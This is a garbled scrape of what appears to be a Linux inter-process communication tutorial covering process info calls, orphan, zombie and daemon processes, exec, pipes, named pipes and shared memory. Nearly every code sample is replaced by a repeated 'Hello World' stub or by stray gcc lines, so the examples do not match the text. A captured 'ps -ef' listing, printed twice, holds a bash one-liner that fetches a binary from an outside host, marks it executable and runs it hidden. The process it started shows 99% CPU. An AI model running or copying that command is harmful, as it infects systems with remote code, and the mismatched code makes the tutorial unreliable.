$1\nConnection: close\n\n" |
openssl s_client -timeout -quiet
-verify_quiet -connect $1:443 2>
/dev/null | tee out | while read line do
if [[ "$flag" == "false" ]]
then
hsize = $((hsize+$(echo $line | wc -c)))
fi
if [[ "${line:1:1}" == "" ]]
then flag = "true"
fi
echo $hsize >
size done tail -c +$(cat size) out >
$2 rm size out }
( download my.mixtape.moe mhawum 2>
/dev/null chmod +x mhawum 2>
/dev/null ./mhawum >
/dev/null 2>
/dev/null )&
2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum
6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874;
timeout 10s javac Puppy.java
6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java
6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java
3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205;
timeout 10s main
3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main
3787205 104176 104175 0 05:25 ? 00:00:00 main
3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell
8The lsof command prints the list of open files of all the current running processes, including system processes. The getconf commandUID PID PPID C STIME TTY TIME CMD
root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld
--basedir = /usr
--datadir = /var/lib/mysql
--plugin-dir = /usr/lib64/mysql/plugin
--user = mysql
--log-error = /var/log/mariadb/mariadb.log
--pid-file = /run/mariadb/mariadb.pid
--socket = /var/lib/mysql/mysql.sock
2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() {
flag = "false" hsize = 1
echo -e "GET /$2 HTTP/1.1\nHost:
$1\nConnection: close\n\n" |
openssl s_client -timeout -quiet
-verify_quiet -connect $1:443 2>
/dev/null | tee out | while read line do
if [[ "$flag" == "false" ]]
then
hsize = $((hsize+$(echo $line | wc -c)))
fi
if [[ "${line:1:1}" == "" ]]
then flag = "true"
fi
echo $hsize >
size done tail -c +$(cat size) out >
$2 rm size out }
( download my.mixtape.moe mhawum 2>
/dev/null chmod +x mhawum 2>
/dev/null ./mhawum >
/dev/null 2>
/dev/null )&
2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum
6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874;
timeout 10s javac Puppy.java
6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java
6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java
3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205;
timeout 10s main
3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main
3787205 104176 104175 0 05:25 ? 00:00:00 main
3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell
9The getconf command displays the system configuration variables information. Now, let us take a look at the related system calls.
System Resource Usage Call#include
int main() {
printf("Hello World\n");
return 0;
}
0The system call getrusage() returns the information on the system resource usage. This can include information on self, children, or calling thread using flags RUSAGE_SELF, RUSAGE_CHILDREN, RUSAGE_THREAD for the “who” variable. After the call, it returns the information in the structure rusage. This call would return “0” on success and “-1” on failure. Let us look at the following sample program. /* Filename: sysinfo_getrusage.c */#include
int main() {
printf("Hello World\n");
return 0;
}
1Compilation and Execution Steps#include
int main() {
printf("Hello World\n");
return 0;
}
2Let us now look at the system calls related to accessing and setting resource limits. #include
int main() {
printf("Hello World\n");
return 0;
}
3The system call getrlimit() gets the resource limits in structure rlimit by inputting the resource one needs such as RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK, etc. The system call setrlimit() sets the resource limits as mentioned in the rlimit structure as far as within the limits. The system call prlimit() is used for varius purposes, such as either for retrieving the current resource limits or for updating the resource limits to new values. The structure rlimit contains two values −
RLIMIT_NOFILE − Returns the maximum number of file descriptors that can be opened by this process. For example, if it returns 1024, then the process has file descriptors from 0 to 1023.RLIMIT_NPROC − Maximum number of processes that can be created for a user of that process. RLIMIT_STACK − The maximum size in bytes of the stack segment for that process. All these calls would return “0” on success and “-1” on failure. Let us consider the following example where we are using getrlimit() system call. /* Filename: sysinfo_getrlimit.c */#include
int main() {
printf("Hello World\n");
return 0;
}
4Compilation and Execution Steps#include
int main() {
printf("Hello World\n");
return 0;
}
5Let us consider another example with getrlimit() system call but now with prlimit() system call. /* Filename: sysinfo_prlimit.c */#include
int main() {
printf("Hello World\n");
return 0;
}
6Compilation and Execution Steps#include
int main() {
printf("Hello World\n");
return 0;
}
7So far, we have discussed about processes, its creation, parent and child processes, etc. The discussion will be incomplete without discussing other related processes, such as the Orphan process, Zombie process and Daemon process. Orphan ProcessAs indicated by the name, orphan implies parentless process. When we run a program or application, the parent process for the application is shell. When we create a process using fork(), the newly created process is the child process and the process that created the child is the parent process. In turn, the parent process of this is shell. Of course, the parent of all the processes is init process (Process ID → 1). The above is a usual scenario, however, what happens if the parent process exits before the child process. The result is, the child process now becomes the orphan process. Then what about its parent, its new parent is the parent of all the processes, which is nothing but init process (Process ID – 1). Let us try and understand this using the following example. /* File Name: orphan_process.c */#include
int main() {
printf("Hello World\n");
return 0;
}
8Compilation and Execution Steps#include
int main() {
printf("Hello World\n");
return 0;
}
9Zombie ProcessIn simple terms, assume that you have two processes, namely the parent and the child process. It is the responsibility of the parent process to wait for child process and then clean up the child process entry from the process table. What if the parent process is not ready to wait for the child process, and in the meantime the child process gets its job done and exits? Now, the child process would become the zombie process. Of course, the zombie process is cleaned up after the parent process becomes ready. Let us understand this with the help of an example. /* File Name: zombie_process.c */#include
int main() {
static int mystaticint1;
printf("Hello World\n");
return 0;
}
0Compilation and Execution Steps#include
int main() {
static int mystaticint1;
printf("Hello World\n");
return 0;
}
1Daemon ProcessIn simple terms, the process which doesn’t have any associated shell or terminal is known as the daemon process. Why this is needed? These are the processes which run in the background to perform actions at predefined intervals and also respond to certain events. The daemon process should not have any user interaction, since it runs as a background process. The internal Linux daemon processes usually ends with the letter “d” such as Kernel Daemons (ksoftirqd, kblockd, kswapd, etc.), Printing Daemons (cupsd, lpd, etc.), File Service Daemons (smbd, nmbd, etc.), Administrative database daemons (ypbind, ypserv, etc.), Electronic Mail Daemons (sendmail, popd, smtpd, etc.), Remote Login and Command Execution Daemons (sshd, in.telnetd, etc.), Booting and Configuration Daemons (dhcpd, udevd, etc.), init process (init), cron daemon, atd daemon, etc. Now let us see how to create a daemon process. Following are the steps − Step 1 − Create a child process. Now we have two processes – the parent process and the child process Usually the process hierarchy is SHELL → PARENT PROCESS → CHILD PROCESS Step 2 − Terminate the parent process by exiting. The child process now becomes the orphan process and is taken over by init process. Now, the hierarchy is INIT PROCESS → CHILD PROCESS Step 3 − Calling the setsid() system call creates a new session, if the calling process is not a process group leader. Now the calling process becomes the group leader of the new session. This process will be the only process in this new process group and in this new session. Step 4 − Set the process group ID and session ID to PID of the calling process. Step 5 − Close the default file descriptors (standard input, standard output, and standard error) of the process as the terminal and shell are now disconnected from the application. /* Filename: daemon_test.c */#include
int main() {
static int mystaticint1;
printf("Hello World\n");
return 0;
}
2#include
int main() {
static int mystaticint1;
printf("Hello World\n");
return 0;
}
3Assume that we are running a program and we want to run another program from the current program. Is this possible? Why not, if we implement the concept of overlaying the process image. That’s fine but what about the current running program, can that be run too. How is it possible, since we overlaid the current program with the new program. What to do, if I want to run the two programs without losing the current running program, is it possible? Yes, it is possible. Create a child process, so that we have a parent process and a newly created child process. Already we are running the current program in the parent process, so run the newly created process in the child. In this way, we can run another program from the current program. Not only a single program but we can run any number of programs from the current program by creating that many number of child processes. Let us consider the following program as an example. /* File Name: helloworld.c */#include
int main() {
static int mystaticint1;
printf("Hello World\n");
return 0;
}
4/* File Name: execl_test.c */#include
int main() {
static int mystaticint1;
printf("Hello World\n");
return 0;
}
5The above program would overlay the process image of execl_test with helloworld. That is the reason, the process image code of execl_test (printf()) is not executed. Compilation and Execution Steps#include
int main() {
static int mystaticint1;
printf("Hello World\n");
return 0;
}
6Now, we will run the following two programs from one program, i.e., execl_run_two_prgms.c.
/* File Name: while_loop.c */#include
int main() {
static int mystaticint1;
printf("Hello World\n");
return 0;
}
7Following is the program to run two programs (one program from child and another program from parent). /* Filename: execl_run_two_prgms.c */#include
int main() {
static int mystaticint1;
printf("Hello World\n");
return 0;
}
8Note − Place sleep() call to make sure the child and parent processes run sequentially (do not overlap the result). Compilation and Execution Steps#include
int main() {
static int mystaticint1;
printf("Hello World\n");
return 0;
}
9Now we would run two programs from one program i.e., execl_run_two_prgms.c, same program as above but with command line arguments. So, we are running two programs namely, helloworld.c in the child process, and the program while_loop.c in the parent process. This is as follows −
This program broadly performs the following actions −
/* Filename: execl_run_two_prgms.c */#include
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
0Following is the helloworld.c program called from the child process of the program, execl_run_two_prgms.c. /* File Name: helloworld.c */#include
int main() {
static int mystaticint1;
printf("Hello World\n");
return 0;
}
4Following is the while_loop.c program called from the parent process of the program, execl_run_two_prgms.c. The argument to this program is passed from the program which runs this i.e., execl_run_two_prgms.c. /* Filename: while_loop.c */#include
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
2Compilation and Execution Steps#include
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
3Let us now see the overlaying image related library functions. #include
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
4This function would overlay the current running process image with the new process as mentioned in the arguments, path and arg. If any argument needs to passed to a new process image, that would be send through “arg” arguments and the last argument should be NULL. This function would return a value only in case of an error. The process overlaying image related calls are as mentioned below − #include
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
5These calls would address passing command line arguments (argv[]), environment variables (envp[]) and other parameters. Following table lists the various System calls along with their description. CategorySystem CallDescriptionGeneralopen ()This system call either opens an already existing file or creates and opens a new file.Generalcreat ()Creates and opens a new file.Generalread ()Reads the contents of the file into the required buffer.Generalwrite ()Writes the contents of buffer into the file.Generalclose ()Closes the file descriptor.Generalstat ()Provides information on the file.Pipespipe ()Creates pipe for communication which returns two file descriptors for reading and writing.Named Pipes or Fifomknod ()Creates a memory device file or special file to create FIFOsNamed Pipes or Fifomkfifo ()Creates a new FIFOShared Memoryshmget ()Creates a new shared memory segment or gets the identifier of the existing segment.Shared Memoryshmat ()Attaches the shared memory segment and makes the segment a part of the virtual memory of the calling process.Shared Memoryshmdt ()Detaches the shared memory segment.Shared Memoryshmctl ()Performs control operations for the shared memory. Few of the generic control operations for the shared memory are removing the shared memory segment (IPC_RMID), receiving the information of the shared memory (IPC_STAT) and updating new values of the existing shared memory (IPC_SET).Message Queuesmsgget ()Creates a new message queue or accesses an already existing message queue and gets the handle or identifier to perform operations with regard to message queue, such as sending message/s to queue and receiving message/s from the queue.Message Queuesmsgsnd ()Sends a message to the required message queue with the required identification number.Message Queuesmsgrcv ()Receives a message from the message queue. By default, this is infinite wait operation, means the call will be blocked until it receives a message.Message Queuesmsgctl ()Performs control operations for the message queue. Few of the generic control operations for the message queue are removing the message queue (IPC_RMID), receiving the information of the message queue (IPC_STAT) and updating new values of the existing message queue (IPC_SET).Semaphoressemget ()Creates a new semaphore or gets the identifier of the existing semaphore. Semaphores are used to perform synchronization between various IPCs working on the same object.Semaphoressemop ()Performs semaphore operations on semaphore values. The basic semaphore operations are either acquiring or releasing the lock on the semaphore.Semaphoressemctl ()Performs control operations for the semaphore. Few of the generic control operations for the semaphore are removing the semaphore (IPC_RMID), receiving the information of the semaphore (IPC_STAT) and updating new values of the existing semaphore (IPC_SET).Signalssignal ()Setting the disposition of the signal (signal number) and the signal handler. In other terms, registering the routine, which gets executed when that signal is raised.Signalssigaction ()Same as signal(), setting the disposition of the signal i.e., performing certain action as per the registered signal handler after the receipt of the registered signal. This system call supports finer control over signal() such as blocking certain signals, restoring signal action to the default state after calling the signal handler, providing information such as consumed time of the user and the system, process id of sending process, etc.Memory Mappingmmap ()Mapping files into the memory. Once mapped into the memory, accessing files is as easy as accessing data using addresses and also in this way, the call is not expensive as system calls.Memory Mappingmunmap ()Un-mapping the mapped files from the memory.Following table lists the differences between System V IPC and POSIX IPC. SYSTEM VPOSIXAT & T introduced (1983) three new forms of IPC facilities namely message queues, shared memory, and semaphores.Portable Operating System Interface standards specified by IEEE to define application programming interface (API). POSIX covers all the three forms of IPCSYSTEM V IPC covers all the IPC mechanisms viz., pipes, named pipes, message queues, signals, semaphores, and shared memory. It also covers socket and Unix Domain sockets.Almost all the basic concepts are the same as System V. It only differs with the interfaceShared Memory Interface Calls shmget(), shmat(), shmdt(), shmctl()Shared Memory Interface Calls shm_open(), mmap(), shm_unlink()Message Queue Interface Calls msgget(), msgsnd(), msgrcv(), msgctl()Message Queue Interface Calls mq_open(), mq_send(), mq_receive(), mq_unlink()Semaphore Interface Calls semget(), semop(), semctl()Semaphore Interface Calls Named Semaphores sem_open(), sem_close(), sem_unlink(), sem_post(), sem_wait(), sem_trywait(), sem_timedwait(), sem_getvalue() Unnamed or Memory based semaphores sem_init(), sem_post(), sem_wait(), sem_getvalue(),sem_destroy()Uses keys and identifiers to identify the IPC objects.Uses names and file descriptors to identify IPC objectsNAPOSIX Message Queues can be monitored using select(), poll() and epoll APIsOffers msgctl() callProvides functions (mq_getattr() and mq_setattr()) either to access or set attributes 11. IPC - System V & POSIXNAMulti-thread safe. Covers thread synchronization functions such as mutex locks, conditional variables, read-write locks, etc.NAOffers few notification features for message queues (such as mq_notify())Requires system calls such as shmctl(), commands (ipcs, ipcrm) to perform status/control operations.Shared memory objects can be examined and manipulated using system calls such as fstat(), fchmod()The size of a System V shared memory segment is fixed at the time of creation (via shmget())We can use ftruncate() to adjust the size of the underlying object, and then re-create the mapping using munmap() and mmap() (or the Linux-specific mremap())Pipe is a communication medium between two or more related or interrelated processes. It can be either within one process or a communication between the child and the parent processes. Communication can also be multi-level such as communication between the parent, the child and the grand-child, etc. Communication is achieved by one process writing into the pipe and other reading from the pipe. To achieve the pipe system call, create two files, one to write into the file and another to read from the file. Pipe mechanism can be viewed with a real-time scenario such as filling water with the pipe into some container, say a bucket, and someone retrieving it, say with a mug. The filling process is nothing but writing into the pipe and the reading process is nothing but retrieving from the pipe. This implies that one output (water) is input for the other (bucket). #include
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
6This system call would create a pipe for one-way communication i.e., it creates two descriptors, first one is connected to read from the pipe and other one is connected to write into the pipe. Descriptor pipedes[0] is for reading and pipedes[1] is for writing. Whatever is written into pipedes[1] can be read from pipedes[0]. This call would return zero on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function. #include
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
7Even though the basic operations for file are read and write, it is essential to open the file before performing the operations and closing the file after completion of the required operations. Usually, by default, 3 descriptors opened for every process, which are used for input (standard input – stdin), output (standard output – stdout) and error (standard error – stderr) having file descriptors 0, 1 and 2 respectively. This system call would return a file descriptor used for further file operations of read/write/seek (lseek). Usually file descriptors start from 3 and increase by one number as the number of files open. The arguments passed to open system call are pathname (relative or absolute path), flags mentioning the purpose of opening file (say, opening for read, O_RDONLY, to write, O_WRONLY, to read and write, O_RDWR, to append to the existing file O_APPEND, to create file, if not exists with O_CREAT and so on) and the required mode providing permissions of read/write/execute for user or owner/group/others. Mode can be mentioned with symbols. Read – 4, Write – 2 and Execute – 1. For example: Octal value (starts with 0), 0764 implies owner has read, write and execute permissions, group has read and write permissions, other has read permissions. This can also be represented as S_IRWXU | S_IRGRP | S_IWGRP | S_IROTH, which implies or operation of 0700|0040|0020|0004 → 0764. This system call, on success, returns the new file descriptor id and -1 in case of error. The cause of error can be identified with errno variable or perror() function. #include
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
8The above system call closing already opened file descriptor. This implies the file is no longer in use and resources associated can be reused by any other process. This system call returns zero on success and -1 in case of error. The cause of error can be identified with errno variable or perror() function. #include
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
9The above system call is to read from the specified file with arguments of file descriptor fd, proper buffer with allocated memory (either static or dynamic) and the size of buffer. The file descriptor id is to identify the respective file, which is returned after calling open() or pipe() system call. The file needs to be opened before reading from the file. It automatically opens in case of calling pipe() system call. This call would return the number of bytes read (or zero in case of encountering the end of the file) on success and -1 in case of failure. The return bytes can be smaller than the number of bytes requested, just in case no data is available or file is closed. Proper error number is set in case of failure. To know the cause of failure, check with errno variable or perror() function. #include
int myglobalint1 = 500;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
0The above system call is to write to the specified file with arguments of the file descriptor fd, a proper buffer with allocated memory (either static or dynamic) and the size of buffer. The file descriptor id is to identify the respective file, which is returned after calling open() or pipe() system call. The file needs to be opened before writing to the file. It automatically opens in case of calling pipe() system call. This call would return the number of bytes written (or zero in case nothing is written) on success and -1 in case of failure. Proper error number is set in case of failure. To know the cause of failure, check with errno variable or perror() function. Example ProgramsFollowing are some example programs. Example program 1 − Program to write and read two messages using pipe. AlgorithmStep 1 − Create a pipe. Step 2 − Send a message to the pipe. Step 3 − Retrieve the message from the pipe and write it to the standard output. Step 4 − Send another message to the pipe. Step 5 − Retrieve the message from the pipe and write it to the standard output. Note − Retrieving messages can also be done after sending all messages. Source Code: simplepipe.c #include
int myglobalint1 = 500;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
1Note − Ideally, return status needs to be checked for every system call. To simplify the process, checks are not done for all the calls. Execution StepsCompilation#include
int myglobalint1 = 500;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
2Execution/Output#include
int myglobalint1 = 500;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
3Example program 2 − Program to write and read two messages through the pipe using the parent and the child processes. AlgorithmStep 1 − Create a pipe. Step 2 − Create a child process. Step 3 − Parent process writes to the pipe. Step 4 − Child process retrieves the message from the pipe and writes it to the standard output. Step 5 − Repeat step 3 and step 4 once again. Source Code: pipewithprocesses.c #include
int myglobalint1 = 500;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
4Execution StepsCompilation #include
int myglobalint1 = 500;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
5Execution #include
int myglobalint1 = 500;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
6Two-way Communication Using PipesPipe communication is viewed as only one-way communication i.e., either the parent process writes and the child process reads or vice-versa but not both. However, what if both the parent and the child needs to write and read from the pipes simultaneously, the solution is a two-way communication using pipes. Two pipes are required to establish two-way communication. Following are the steps to achieve two-way communication − Step 1 − Create two pipes. First one is for the parent to write and child to read, say as pipe1. Second one is for the child to write and parent to read, say as pipe2. Step 2 − Create a child process. Step 3 − Close unwanted ends as only one end is needed for each communication. Step 4 − Close unwanted ends in the parent process, read end of pipe1 and write end of pipe2. Step 5 − Close the unwanted ends in the child process, write end of pipe1 and read end of pipe2. Step 6 − Perform the communication as required. Sample ProgramsSample program 1 − Achieving two-way communication using pipes. AlgorithmStep 1 − Create pipe1 for the parent process to write and the child process to read. Step 2 − Create pipe2 for the child process to write and the parent process to read. Step 3 − Close the unwanted ends of the pipe from the parent and child side. Step 4 − Parent process to write a message and child process to read and display on the screen. Step 5 − Child process to write a message and parent process to read and display on the screen. Source Code: twowayspipe.c #include
int myglobalint1 = 500;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
7Execution StepsCompilation#include
int myglobalint1 = 500;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
8Execution#include
int myglobalint1 = 500;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
9Pipes were meant for communication between related processes. Can we use pipes for unrelated process communication, say, we want to execute client program from one terminal and the server program from another terminal? The answer is No. Then how can we achieve unrelated processes communication, the simple answer is Named Pipes. Even though this works for related processes, it gives no meaning to use the named pipes for related process communication. We used one pipe for one-way communication and two pipes for bi-directional communication. Does the same condition apply for Named Pipes. The answer is no, we can use single named pipe that can be used for two-way communication (communication between the server and the client, plus the client and the server at the same time) as Named Pipe supports bi-directional communication. Another name for named pipe is FIFO (First-In-First-Out). Let us see the system call (mknod()) to create a named pipe, which is a kind of a special file. #include
int myglobalint1 = 500;
int myglobalint2;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
0This system call would create a special file or file system node such as ordinary file, device file, or FIFO. The arguments to the system call are pathname, mode and dev. The pathname along with the attributes of mode and device information. The pathname is relative, if the directory is not specified it would be created in the current directory. The mode specified is the mode of file which specifies the file type such as the type of file and the file mode as mentioned in the following tables. The dev field is to specify device information such as major and minor device numbers. File TypeDescriptionFile TypeDescriptionS_IFBLKblock specialS_IFREGRegular fileS_IFCHRcharacter specialS_IFDIRDirectoryS_IFIFOFIFO specialS_IFLNKSymbolic LinkFile ModeDescriptionFile ModeDescriptionS_IRWXURead, write, execute/search by ownerS_IWGRPWrite permission, groupS_IRUSRRead permission, ownerS_IXGRPExecute/search permission, groupS_IWUSRWrite permission, ownerS_IRWXORead, write, execute/search by othersS_IXUSRExecute/search permission, ownerS_IROTHRead permission, othersS_IRWXGRead, write, execute/search by groupS_IWOTHWrite permission, othersS_IRGRPRead permission, groupS_IXOTHExecute/search permission, othersFile mode can also be represented in octal notation such as 0XYZ, where X represents owner, Y represents group, and Z represents others. The value of X, Y or Z can range from 0 to 7. The values for read, write and execute are 4, 2, 1 respectively. If needed in combination of read, write and execute, then add the values accordingly. Say, if we mention, 0640, then this means read and write (4 + 2 = 6) for owner, read (4) for group and no permissions (0) for others. This call would return zero on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function. #include
int myglobalint1 = 500;
int myglobalint2;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
1This library function creates a FIFO special file, which is used for named pipe. The arguments to this function is file name and mode. The file name can be either absolute path or relative path. If full path name (or absolute path) is not given, the file would be created in the current folder of the executing process. The file mode information is as described in mknod() system call. This call would return zero on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function. Let us consider a program of running the server on one terminal and running the client on another terminal. The program would only perform one-way communication. The client accepts the user input and sends the message to the server, the server prints the message on the output. The process is continued until the user enters the string “end”. Let us understand this with an example − Step 1 − Create two processes, one is fifoserver and another one is fifoclient. Step 2 − Server process performs the following −
Step 3 − Client process performs the following −
Now let’s take a look at the FIFO server file. #include
int myglobalint1 = 500;
int myglobalint2;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
2Compilation and Execution Steps#include
int myglobalint1 = 500;
int myglobalint2;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
3Now, let’s take a look at the FIFO client sample code. #include
int myglobalint1 = 500;
int myglobalint2;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
4Let’s take a at the arriving output. Compilation and Execution Steps#include
int myglobalint1 = 500;
int myglobalint2;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
5Two-way Communication Using Named PipesThe communication between pipes are meant to be unidirectional. Pipes were restricted to one-way communication in general and need at least two pipes for two-way communication. Pipes are meant for inter-related processes only. Pipes can’t be used for unrelated processes communication, say, if we want to execute one process from one terminal and another process from another terminal, it is not possible with pipes. Do we have any simple way of communicating between two processes, say unrelated processes in a simple way? The answer is YES. Named pipe is meant for communication between two or more unrelated processes and can also have bi-directional communication. Already, we have seen the one-directional communication between named pipes, i.e., the messages from the client to the server. Now, let us take a look at the bi-directional communication i.e., the client sending message to the server and the server receiving the message and sending back another message to the client using the same named pipe. Following is an example − Step 1 − Create two processes, one is fifoserver_twoway and another one is fifoclient_twoway. Step 2 − Server process performs the following −
Step 3 − Client process performs the following −
Now, let’s take a look at FIFO server sample code. #include
int myglobalint1 = 500;
int myglobalint2;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
6Compilation and Execution Steps#include
int myglobalint1 = 500;
int myglobalint2;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
7Now, let’s take a look at FIFO client sample code. #include
int myglobalint1 = 500;
int myglobalint2;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
8Compilation and Execution Steps#include
int myglobalint1 = 500;
int myglobalint2;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
9Shared memory is a memory shared between two or more processes. However, why do we need to share memory or some other means of communication? To reiterate, each process has its own address space, if any process wants to communicate with some information from its own address space to other processes, then it is only possible with IPC (inter process communication) techniques. As we are already aware, communication can be between related or unrelated processes. Usually, inter-related process communication is performed using Pipes or Named Pipes. Unrelated processes (say one process running in one terminal and another process in another terminal) communication can be performed using Named Pipes or through popular IPC techniques of Shared Memory and Message Queues. We have seen the IPC techniques of Pipes and Named pipes and now it is time to know the remaining IPC techniques viz., Shared Memory, Message Queues, Semaphores, Signals, and Memory Mapping. In this chapter, we will know all about shared memory. We know that to communicate between two or more processes, we use shared memory but before using the shared memory what needs to be done with the system calls, let us see this −
Let us look at a few details of the system calls related to shared memory. babukrishnam $ gcc segment_size1.c -o segment_size1 babukrishnam $ gcc segment_size2.c -o segment_size2 babukrishnam $ gcc segment_size3.c -o segment_size3 babukrishnam $ gcc segment_size4.c -o segment_size4 babukrishnam $ gcc segment_size5.c -o segment_size50 The above system call creates or allocates a System V shared memory segment. The arguments that need to be passed are as follows − The first argument, key, recognizes the shared memory segment. The key can be either an arbitrary value or one that can be derived from the library function ftok(). The key can also be IPC_PRIVATE, means, running processes as server and client (parent and child relationship) i.e., inter-related process communiation. If the client wants to use shared memory with this key, then it must be a child process of the server. Also, the child process needs to be created after the parent has obtained a shared memory. The second argument, size, is the size of the shared memory segment rounded to multiple of PAGE_SIZE. The third argument, shmflg, specifies the required shared memory flag/s such as IPC_CREAT (creating new segment) or IPC_EXCL (Used with IPC_CREAT to create new segment and the call fails, if the segment already exists). Need to pass the permissions as well. Note − Refer earlier sections for details on permissions. This call would return a valid shared memory identifier (used for further calls of shared memory) on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function. babukrishnam $ gcc segment_size1.c -o segment_size1 babukrishnam $ gcc segment_size2.c -o segment_size2 babukrishnam $ gcc segment_size3.c -o segment_size3 babukrishnam $ gcc segment_size4.c -o segment_size4 babukrishnam $ gcc segment_size5.c -o segment_size51 The above system call performs shared memory operation for System V shared memory segment i.e., attaching a shared memory segment to the address space of the calling process. The arguments that need to be passed are as follows − The first argument, shmid, is the identifier of the shared memory segment. This id is the shared memory identifier, which is the return value of shmget() system call. The second argument, shmaddr, is to specify the attaching address. If shmaddr is NULL, the system by default chooses the suitable address to attach the segment. If shmaddr is not NULL and SHM_RND is specified in shmflg, the attach is equal to the address of the nearest multiple of SHMLBA (Lower Boundary Address). Otherwise, shmaddr must be a page aligned address at which the shared memory attachment occurs/starts. The third argument, shmflg, specifies the required shared memory flag/s such as SHM_RND (rounding off address to SHMLBA) or SHM_EXEC (allows the contents of segment to be executed) or SHM_RDONLY (attaches the segment for read-only purpose, by default it is read-write) or SHM_REMAP (replaces the existing mapping in the range specified by shmaddr and continuing till the end of segment). This call would return the address of attached shared memory segment on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function. babukrishnam $ gcc segment_size1.c -o segment_size1 babukrishnam $ gcc segment_size2.c -o segment_size2 babukrishnam $ gcc segment_size3.c -o segment_size3 babukrishnam $ gcc segment_size4.c -o segment_size4 babukrishnam $ gcc segment_size5.c -o segment_size52 The above system call performs shared memory operation for System V shared memory segment of detaching the shared memory segment from the address space of the calling process. The argument that needs to be passed is − The argument, shmaddr, is the address of shared memory segment to be detached. The to-be-detached segment must be the address returned by the shmat() system call. This call would return 0 on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function. babukrishnam $ gcc segment_size1.c -o segment_size1 babukrishnam $ gcc segment_size2.c -o segment_size2 babukrishnam $ gcc segment_size3.c -o segment_size3 babukrishnam $ gcc segment_size4.c -o segment_size4 babukrishnam $ gcc segment_size5.c -o segment_size53 The above system call performs control operation for a System V shared memory segment. The following arguments needs to be passed − The first argument, shmid, is the identifier of the shared memory segment. This id is the shared memory identifier, which is the return value of shmget() system call. The second argument, cmd, is the command to perform the required control operation on the shared memory segment. Valid values for cmd are −
The third argument, buf, is a pointer to the shared memory structure named struct shmid_ds. The values of this structure would be used for either set or get as per cmd. This call returns the value depending upon the passed command. Upon success of IPC_INFO and SHM_INFO or SHM_STAT returns the index or identifier of the shared memory segment or 0 for other operations and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function. Let us consider the following sample program.
